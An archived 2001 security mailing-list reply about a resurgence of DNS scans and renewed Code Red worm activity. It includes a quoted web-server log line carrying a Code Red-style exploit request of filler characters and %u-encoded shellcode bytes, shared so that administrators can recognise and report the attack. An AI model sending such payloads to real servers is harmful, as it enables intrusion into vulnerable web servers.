Security Incidents mailing list archives

Re: Resurgence of DNS scanning activity


From: John Kinsella <jlk () thrashyour com>
Date: Thu, 30 Aug 2001 10:52:35 -0700

Yep, the DNS scans are definitely picking back up again.  Code Red or
some variant seems to have woken back up in the last 12 hours or so as
well, plus I just saw this one:

xxx.xxx.xxx.xxx - - [30/Aug/2001:10:04:34 -0700] 
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
HTTP/1.1" 400

It's happened more than once, and it's coming from the same IP that's
also doing the normal code red thing.

John

On Thu, Aug 30, 2001 at 09:47:47AM -0400, Keith.Morgan wrote:
Is anyone else seeing a resurgence of DNS scans?  Or, for the past month+
have we just been dodging the bullet.  DNS has been really quiet on our
networks for the past couple of months, but over the past two days, we've
seen a 90% increase.  New worm?  Kids back at school?  Just a fluke?

Keith T. Morgan
Chief of Information Security
Terradon Communications
keith.morgan () terradon com
304-755-8291 x142


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